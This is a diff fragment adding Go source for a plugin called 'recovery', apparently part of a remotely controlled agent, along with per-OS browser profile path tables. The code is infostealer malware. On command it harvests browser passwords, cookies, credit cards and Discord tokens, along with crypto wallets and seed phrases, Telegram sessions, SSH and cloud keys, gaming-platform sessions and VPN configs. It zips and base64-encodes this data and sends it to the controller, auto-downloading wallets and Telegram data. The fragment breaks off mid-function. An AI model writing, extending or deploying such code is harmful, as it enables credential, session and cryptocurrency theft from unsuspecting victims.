github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs=
|
||||
github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
|
||||
github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI=
|
||||
github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
|
||||
golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI=
|
||||
golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
|
||||
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
@@ -0,0 +1,588 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"log"
|
||||
"path/filepath"
|
||||
"recovery/recovery"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// collectDeadline bounds an entire collection run. A single stuck browser
|
||||
// (NSS/COM/pipe stall) must never wedge the agent for more than this.
|
||||
const collectDeadline = 90 * time.Second
|
||||
|
||||
type HostInfo struct {
|
||||
ClientID string `json:"clientId"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
var (
|
||||
hostInfo HostInfo
|
||||
sendFn func(event string, payload []byte)
|
||||
mu sync.Mutex
|
||||
collecting atomic.Bool
|
||||
)
|
||||
|
||||
func setSend(fn func(event string, payload []byte)) {
|
||||
mu.Lock()
|
||||
sendFn = fn
|
||||
mu.Unlock()
|
||||
}
|
||||
|
||||
func sendEvent(event string, payload interface{}) {
|
||||
mu.Lock()
|
||||
fn := sendFn
|
||||
mu.Unlock()
|
||||
if fn == nil {
|
||||
return
|
||||
}
|
||||
data, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] marshal error: %v", err)
|
||||
return
|
||||
}
|
||||
fn(event, data)
|
||||
}
|
||||
|
||||
func handleInit(hostJSON []byte) error {
|
||||
if err := json.Unmarshal(hostJSON, &hostInfo); err != nil {
|
||||
return err
|
||||
}
|
||||
log.Printf("[recovery] init: clientId=%s os=%s arch=%s", hostInfo.ClientID, hostInfo.OS, hostInfo.Arch)
|
||||
sendEvent("ready", map[string]string{"status": "recovery plugin ready"})
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleEvent(event string, payload []byte) error {
|
||||
switch event {
|
||||
case "collect":
|
||||
go handleCollect(payload)
|
||||
case "scan_files":
|
||||
go handleScanFiles()
|
||||
case "scan_extensions":
|
||||
go handleScanExtensions()
|
||||
case "fetch_file":
|
||||
go handleFetchFile(payload)
|
||||
case "fetch_ext_zip":
|
||||
go handleFetchExtZip(payload)
|
||||
case "scan_wallets":
|
||||
go handleScanWallets()
|
||||
case "fetch_wallet_zip":
|
||||
go handleFetchWalletZip(payload)
|
||||
case "scan_telegram":
|
||||
go handleScanTelegram()
|
||||
case "fetch_telegram_zip":
|
||||
go handleFetchTelegramZip(payload)
|
||||
case "scan_keys":
|
||||
go handleScanKeys()
|
||||
case "scan_apps":
|
||||
go handleScanApps()
|
||||
case "scan_gaming":
|
||||
go handleScanGaming()
|
||||
case "scan_vpn":
|
||||
go handleScanVPN()
|
||||
case "fingerprint":
|
||||
go handleFingerprint()
|
||||
case "fingerprint_js":
|
||||
go handleFingerprintJS()
|
||||
case "ping":
|
||||
sendEvent("pong", nil)
|
||||
default:
|
||||
log.Printf("[recovery] unhandled event: %s", event)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleCollect(payload []byte) {
|
||||
if !collecting.CompareAndSwap(false, true) {
|
||||
log.Printf("[recovery] collection already in progress, ignoring duplicate request")
|
||||
return
|
||||
}
|
||||
defer collecting.Store(false)
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] collection panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "internal collection error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var opts recovery.CollectOptions
|
||||
if len(payload) > 0 {
|
||||
json.Unmarshal(payload, &opts)
|
||||
} else {
|
||||
opts.Browsers = true
|
||||
}
|
||||
|
||||
if opts.Browsers {
|
||||
noneSet := !opts.Passwords && !opts.Cookies && !opts.Autofill &&
|
||||
!opts.History && !opts.Bookmarks && !opts.CreditCards && !opts.Discord
|
||||
if noneSet {
|
||||
opts.Passwords = true
|
||||
opts.Cookies = true
|
||||
opts.Autofill = true
|
||||
opts.History = true
|
||||
opts.Bookmarks = true
|
||||
opts.CreditCards = true
|
||||
opts.Discord = true
|
||||
opts.Files = true
|
||||
opts.Wallets = true
|
||||
opts.Telegram = true
|
||||
opts.Keys = true
|
||||
opts.Apps = true
|
||||
opts.Gaming = true
|
||||
opts.VPNs = true
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[recovery] starting collection (passwords=%v cookies=%v autofill=%v history=%v bookmarks=%v cards=%v discord=%v)",
|
||||
opts.Passwords, opts.Cookies, opts.Autofill, opts.History, opts.Bookmarks, opts.CreditCards, opts.Discord)
|
||||
sendEvent("status", map[string]string{"message": "Resolving encryption keys..."})
|
||||
|
||||
var extensions []recovery.ExtensionResult
|
||||
var extWg sync.WaitGroup
|
||||
if opts.Browsers {
|
||||
extWg.Add(1)
|
||||
go func() {
|
||||
defer extWg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] extension scan panic: %v", r)
|
||||
}
|
||||
}()
|
||||
extensions = recovery.ScanExtensions()
|
||||
}()
|
||||
}
|
||||
|
||||
partialFn := func(partial *recovery.CollectionResult) {
|
||||
sendEvent("partial", partial)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), collectDeadline)
|
||||
defer cancel()
|
||||
|
||||
result, err := recovery.Collect(ctx, opts, partialFn)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] collection failed: %v", err)
|
||||
sendEvent("error", map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if opts.Browsers {
|
||||
extWg.Wait()
|
||||
result.Extensions = extensions
|
||||
}
|
||||
|
||||
log.Printf("[recovery] collection complete: %d passwords, %d cookies, %d autofill, %d history, %d bookmarks, %d cards, %d discord tokens, %d extensions, %d wallets, %d telegram, %d keys, %d app creds",
|
||||
len(result.Passwords), len(result.Cookies), len(result.Autofill),
|
||||
len(result.History), len(result.Bookmarks), len(result.CreditCards), len(result.DiscordTokens), len(result.Extensions), len(result.Wallets), len(result.Telegram), len(result.Keys), len(result.AppCredentials))
|
||||
|
||||
sendEvent("results", result)
|
||||
|
||||
if len(result.Wallets) > 0 {
|
||||
go func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] wallet auto-download panic: %v", r)
|
||||
}
|
||||
}()
|
||||
autoDownloadWallets(result.Wallets)
|
||||
}()
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] seed scan panic: %v", r)
|
||||
}
|
||||
}()
|
||||
seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill)
|
||||
if len(seeds) > 0 {
|
||||
log.Printf("[recovery] seed scan found %d seed phrases", len(seeds))
|
||||
sendEvent("seed_scan_results", map[string]interface{}{
|
||||
"seeds": seeds,
|
||||
})
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func handleScanExtensions() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] extension scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "extension scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning extensions..."})
|
||||
exts := recovery.ScanExtensions()
|
||||
log.Printf("[recovery] extension scan complete: %d extensions", len(exts))
|
||||
sendEvent("extension_scan_results", map[string]interface{}{
|
||||
"extensions": exts,
|
||||
})
|
||||
}
|
||||
|
||||
func handleFetchExtZip(payload []byte) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fetch_ext_zip panic: %v", r)
|
||||
sendEvent("fetch_ext_zip_error", map[string]string{"error": "internal error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var req struct {
|
||||
Path string `json:"path"`
|
||||
ExtID string `json:"extId"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||||
sendEvent("fetch_ext_zip_error", map[string]string{"error": "invalid request"})
|
||||
return
|
||||
}
|
||||
|
||||
data, err := recovery.ZipDirectory(req.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] fetch_ext_zip %q: %v", req.ExtID, err)
|
||||
sendEvent("fetch_ext_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[recovery] zipped extension %q (%d bytes)", req.ExtID, len(data))
|
||||
sendEvent("fetch_ext_zip_result", map[string]interface{}{
|
||||
"path": req.Path,
|
||||
"extId": req.ExtID,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
|
||||
const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB
|
||||
|
||||
func handleScanWallets() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] wallet scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "wallet scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning wallets..."})
|
||||
wallets := recovery.ScanWallets()
|
||||
log.Printf("[recovery] wallet scan complete: %d wallets", len(wallets))
|
||||
sendEvent("wallet_scan_results", map[string]interface{}{
|
||||
"wallets": wallets,
|
||||
})
|
||||
autoDownloadWallets(wallets)
|
||||
}
|
||||
|
||||
func autoDownloadWallets(wallets []recovery.WalletResult) {
|
||||
for _, w := range wallets {
|
||||
if w.Size > maxAutoDownloadSize {
|
||||
log.Printf("[recovery] skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size)
|
||||
continue
|
||||
}
|
||||
data, err := recovery.ZipDirectory(w.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] auto-download zip %q: %v", w.Name, err)
|
||||
continue
|
||||
}
|
||||
log.Printf("[recovery] auto-download %q (%d bytes)", w.Name, len(data))
|
||||
sendEvent("wallet_auto_data", map[string]interface{}{
|
||||
"name": w.Name,
|
||||
"type": w.Type,
|
||||
"path": w.Path,
|
||||
"addresses": w.Addresses,
|
||||
"vaultData": w.VaultData,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func handleFetchWalletZip(payload []byte) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fetch_wallet_zip panic: %v", r)
|
||||
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "internal error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var req struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||||
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "invalid request"})
|
||||
return
|
||||
}
|
||||
|
||||
data, err := recovery.ZipDirectory(req.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] fetch_wallet_zip %q: %v", req.Name, err)
|
||||
sendEvent("fetch_wallet_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[recovery] zipped wallet %q (%d bytes)", req.Name, len(data))
|
||||
sendEvent("fetch_wallet_zip_result", map[string]interface{}{
|
||||
"path": req.Path,
|
||||
"name": req.Name,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanFiles() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] file scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "file scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning files..."})
|
||||
files := recovery.ScanFiles()
|
||||
log.Printf("[recovery] file scan complete: %d files", len(files))
|
||||
sendEvent("file_scan_results", map[string]interface{}{
|
||||
"files": files,
|
||||
"truncated": len(files) >= 500,
|
||||
})
|
||||
}
|
||||
|
||||
func handleFetchFile(payload []byte) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fetch_file panic: %v", r)
|
||||
sendEvent("fetch_file_error", map[string]string{"error": "internal error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var req struct {
|
||||
Path string `json:"path"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||||
sendEvent("fetch_file_error", map[string]string{"error": "invalid request"})
|
||||
return
|
||||
}
|
||||
|
||||
data, err := recovery.FetchFile(req.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] fetch_file %q: %v", req.Path, err)
|
||||
sendEvent("fetch_file_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[recovery] fetched %q (%d bytes)", req.Path, len(data))
|
||||
sendEvent("fetch_file_result", map[string]interface{}{
|
||||
"path": req.Path,
|
||||
"name": filepath.Base(req.Path),
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanTelegram() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] telegram scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "telegram scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning Telegram sessions..."})
|
||||
sessions := recovery.ScanTelegram()
|
||||
log.Printf("[recovery] telegram scan complete: %d accounts", len(sessions))
|
||||
sendEvent("telegram_scan_results", map[string]interface{}{
|
||||
"sessions": sessions,
|
||||
})
|
||||
for _, s := range sessions {
|
||||
if s.Size > maxAutoDownloadSize {
|
||||
log.Printf("[recovery] skipping telegram auto-download for %q (%d bytes exceeds limit)", s.Account, s.Size)
|
||||
continue
|
||||
}
|
||||
data, err := recovery.ZipTelegram(s.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] telegram zip %q: %v", s.Account, err)
|
||||
continue
|
||||
}
|
||||
log.Printf("[recovery] telegram auto-download %q (%d bytes)", s.Account, len(data))
|
||||
sendEvent("telegram_data", map[string]interface{}{
|
||||
"account": s.Account,
|
||||
"path": s.Path,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func handleFetchTelegramZip(payload []byte) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fetch_telegram_zip panic: %v", r)
|
||||
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "internal error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var req struct {
|
||||
Path string `json:"path"`
|
||||
Account string `json:"account"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||||
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "invalid request"})
|
||||
return
|
||||
}
|
||||
|
||||
data, err := recovery.ZipTelegram(req.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] fetch_telegram_zip %q: %v", req.Account, err)
|
||||
sendEvent("fetch_telegram_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[recovery] zipped telegram %q (%d bytes)", req.Account, len(data))
|
||||
sendEvent("telegram_data", map[string]interface{}{
|
||||
"account": req.Account,
|
||||
"path": req.Path,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanKeys() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] key scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "key scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning SSH & cloud keys..."})
|
||||
keys := recovery.ScanKeys()
|
||||
log.Printf("[recovery] key scan complete: %d keys", len(keys))
|
||||
sendEvent("key_scan_results", map[string]interface{}{
|
||||
"keys": keys,
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanApps() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] app scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "app credential scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning app credentials..."})
|
||||
apps := recovery.ScanApps()
|
||||
log.Printf("[recovery] app scan complete: %d credentials", len(apps))
|
||||
sendEvent("app_scan_results", map[string]interface{}{
|
||||
"appCredentials": apps,
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanGaming() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] gaming scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "gaming scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning gaming platforms..."})
|
||||
gaming := recovery.ScanGaming()
|
||||
sendEvent("gaming_scan_results", map[string]interface{}{
|
||||
"gaming": gaming,
|
||||
})
|
||||
if gaming == nil {
|
||||
return
|
||||
}
|
||||
autoDownloadGaming(gaming)
|
||||
}
|
||||
|
||||
func autoDownloadGaming(gaming *recovery.GamingResult) {
|
||||
type zipJob struct {
|
||||
name string
|
||||
fn func() ([]byte, error)
|
||||
}
|
||||
var jobs []zipJob
|
||||
|
||||
if gaming.Steam != nil && gaming.Steam.SteamPath != "" {
|
||||
steamPath := gaming.Steam.SteamPath
|
||||
jobs = append(jobs, zipJob{"steam", func() ([]byte, error) { return recovery.ZipSteamSession(steamPath) }})
|
||||
}
|
||||
if len(gaming.BattleNet) > 0 {
|
||||
jobs = append(jobs, zipJob{"battlenet", recovery.ZipBattleNet})
|
||||
}
|
||||
if len(gaming.Epic) > 0 {
|
||||
jobs = append(jobs, zipJob{"epic", recovery.ZipEpic})
|
||||
}
|
||||
if len(gaming.Riot) > 0 {
|
||||
jobs = append(jobs, zipJob{"riot", recovery.ZipRiot})
|
||||
}
|
||||
if len(gaming.Uplay) > 0 {
|
||||
jobs = append(jobs, zipJob{"uplay", recovery.ZipUplay})
|
||||
}
|
||||
|
||||
for _, j := range jobs {
|
||||
data, err := j.fn()
|
||||
if err != nil || len(data) == 0 {
|
||||
log.Printf("[recovery] gaming zip %s: %v", j.name, err)
|
||||
continue
|
||||
}
|
||||
if len(data) > maxAutoDownloadSize {
|
||||
log.Printf("[recovery] gaming zip %s too large (%d bytes), skipping", j.name, len(data))
|
||||
continue
|
||||
}
|
||||
log.Printf("[recovery] gaming auto-download %s (%d bytes)", j.name, len(data))
|
||||
sendEvent("gaming_data", map[string]interface{}{
|
||||
"platform": j.name,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func handleScanVPN() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] vpn scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "vpn scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning VPN configurations..."})
|
||||
vpns := recovery.ScanVPNs()
|
||||
sendEvent("vpn_scan_results", map[string]interface{}{
|
||||
"vpns": vpns,
|
||||
})
|
||||
}
|
||||
|
||||
func handleUnload() {
|
||||
log.Printf("[recovery] unloading")
|
||||
}
|
||||
|
||||
func handleFingerprint() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fingerprint panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "fingerprint error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("fingerprint_result", recovery.CollectFingerprint())
|
||||
log.Printf("[recovery] fingerprint collected")
|
||||
}
|
||||
|
||||
func handleFingerprintJS() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fingerprint_js panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "fingerprint_js error"})
|
||||
}
|
||||
}()
|
||||
result := recovery.CollectJSFingerprint()
|
||||
if result == nil {
|
||||
sendEvent("fingerprint_js_result", map[string]string{"error": "failed to collect JS fingerprint"})
|
||||
return
|
||||
}
|
||||
sendEvent("fingerprint_js_result", result)
|
||||
log.Printf("[recovery] JS fingerprint collected")
|
||||
}
|
||||
|
||||
func main() {}
|
||||
@@ -0,0 +1,111 @@
|
||||
//go:build darwin
|
||||
|
||||
package browser
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var Browsers = []types.BrowserConfig{
|
||||
// Chromium family
|
||||
{Name: "Chrome", UserDataPath: "Google/Chrome", ProcessName: "Google Chrome"},
|
||||
{Name: "Chrome Beta", UserDataPath: "Google/Chrome Beta", ProcessName: "Google Chrome Beta"},
|
||||
{Name: "Chrome Canary", UserDataPath: "Google/Chrome Canary", ProcessName: "Google Chrome Canary"},
|
||||
{Name: "Chromium", UserDataPath: "Chromium", ProcessName: "Chromium"},
|
||||
{Name: "Edge", UserDataPath: "Microsoft Edge", ProcessName: "Microsoft Edge"},
|
||||
{Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "Brave Browser"},
|
||||
{Name: "Vivaldi", UserDataPath: "Vivaldi", ProcessName: "Vivaldi"},
|
||||
{Name: "Opera", UserDataPath: "com.operasoftware.Opera", ProcessName: "Opera", FlatProfile: true},
|
||||
{Name: "Opera GX", UserDataPath: "com.operasoftware.OperaGX", ProcessName: "Opera GX", FlatProfile: true},
|
||||
{Name: "Arc", UserDataPath: "Arc/User Data", ProcessName: "Arc"},
|
||||
{Name: "Yandex", UserDataPath: "Yandex/YandexBrowser", ProcessName: "Yandex"},
|
||||
// Firefox family
|
||||
{Name: "Firefox", UserDataPath: "Firefox", ProcessName: "firefox", IsFirefox: true},
|
||||
{Name: "LibreWolf", UserDataPath: "LibreWolf", ProcessName: "librewolf", IsFirefox: true},
|
||||
{Name: "Waterfox", UserDataPath: "Waterfox", ProcessName: "waterfox", IsFirefox: true},
|
||||
}
|
||||
|
||||
func GetLocalAppData() string {
|
||||
home, _ := os.UserHomeDir()
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
|
||||
func GetUserDataRoot(cfg types.BrowserConfig) string {
|
||||
return filepath.Join(GetLocalAppData(), cfg.UserDataPath)
|
||||
}
|
||||
|
||||
func LocalStatePath(cfg types.BrowserConfig) string {
|
||||
return filepath.Join(GetUserDataRoot(cfg), "Local State")
|
||||
}
|
||||
|
||||
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
|
||||
root := GetUserDataRoot(cfg)
|
||||
|
||||
if cfg.FlatProfile {
|
||||
if _, err := os.Stat(root); err == nil {
|
||||
return []types.ProfileInfo{{Name: "Default", Path: root}}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
if cfg.IsFirefox {
|
||||
return findFirefoxProfiles(root)
|
||||
}
|
||||
|
||||
return findChromiumProfiles(root)
|
||||
}
|
||||
|
||||
func findChromiumProfiles(root string) []types.ProfileInfo {
|
||||
entries, err := os.ReadDir(root)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var profiles []types.ProfileInfo
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
prefPath := filepath.Join(root, e.Name(), "Preferences")
|
||||
if _, err := os.Stat(prefPath); err == nil {
|
||||
profiles = append(profiles, types.ProfileInfo{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(root, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
return profiles
|
||||
}
|
||||
|
||||
func findFirefoxProfiles(root string) []types.ProfileInfo {
|
||||
profilesDir := filepath.Join(root, "Profiles")
|
||||
entries, err := os.ReadDir(profilesDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var profiles []types.ProfileInfo
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
|
||||
profiles = append(profiles, types.ProfileInfo{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(profilesDir, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
return profiles
|
||||
}
|
||||
|
||||
func IsFirefoxProfileName(name string) bool {
|
||||
parts := strings.SplitN(name, ".", 2)
|
||||
if len(parts) != 2 {
|
||||
return false
|
||||
}
|
||||
suffix := strings.ToLower(parts[1])
|
||||
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
//go:build linux
|
||||
|
||||
package browser
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var Browsers = []types.BrowserConfig{
|
||||
// Chromium family
|
||||
{Name: "Chrome", UserDataPath: "google-chrome", ProcessName: "chrome"},
|
||||
{Name: "Chrome Beta", UserDataPath: "google-chrome-beta", ProcessName: "chrome"},
|
||||
{Name: "Chrome Dev", UserDataPath: "google-chrome-unstable", ProcessName: "chrome"},
|
||||
{Name: "Chromium", UserDataPath: "chromium", ProcessName: "chromium"},
|
||||
{Name: "Edge", UserDataPath: "microsoft-edge", ProcessName: "msedge"},
|
||||
{Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "brave"},
|
||||
{Name: "Vivaldi", UserDataPath: "vivaldi", ProcessName: "vivaldi"},
|
||||
{Name: "Opera", UserDataPath: "opera", ProcessName: "opera", FlatProfile: true},
|
||||
// Firefox family
|
||||
{Name: "Firefox", UserDataPath: ".mozilla/firefox", ProcessName: "firefox", IsFirefox: true},
|
||||
{Name: "LibreWolf", UserDataPath: ".librewolf", ProcessName: "librewolf", IsFirefox: true},
|
||||
{Name: "Waterfox", UserDataPath: ".waterfox", ProcessName: "waterfox", IsFirefox: true},
|
||||
}
|
||||
|
||||
func GetLocalAppData() string {
|
||||
home, _ := os.UserHomeDir()
|
||||
return filepath.Join(home, ".config")
|
||||
}
|
||||
|
||||
func GetUserDataRoot(cfg types.BrowserConfig) string {
|
||||
if cfg.IsFirefox {
|
||||
home, _ := os.UserHomeDir()
|
||||
return filepath.Join(home, cfg.UserDataPath)
|
||||
}
|
||||
return filepath.Join(GetLocalAppData(), cfg.UserDataPath)
|
||||
}
|
||||
|
||||
func LocalStatePath(cfg types.BrowserConfig) string {
|
||||
return filepath.Join(GetUserDataRoot(cfg), "Local State")
|
||||
}
|
||||
|
||||
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
|
||||
root := GetUserDataRoot(cfg)
|
||||
|
||||
if cfg.FlatProfile {
|
||||
if _, err := os.Stat(root); err == nil {
|
||||
return []types.ProfileInfo{{Name: "Default", Path: root}}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
if cfg.IsFirefox {
|
||||
return findFirefoxProfiles(root)
|
||||
}
|
||||
|
||||
return findChromiumProfiles(root)
|
||||
}
|
||||
|
||||
func findChromiumProfiles(root string) []types.ProfileInfo {
|
||||
entries, err := os.ReadDir(root)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var profiles []types.ProfileInfo
|
||||
